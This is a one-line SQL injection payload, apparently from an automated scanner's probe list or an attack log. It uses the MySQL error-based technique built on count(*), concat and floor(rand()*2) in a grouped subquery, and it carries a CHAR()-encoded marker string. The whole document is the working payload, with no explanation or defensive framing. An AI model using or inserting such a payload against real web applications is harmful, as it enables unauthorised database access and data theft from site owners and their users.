(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(109),CHAR(112),CHAR(119),CHAR(109),CHAR(102),CHAR(97),CHAR(121),CHAR(110)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))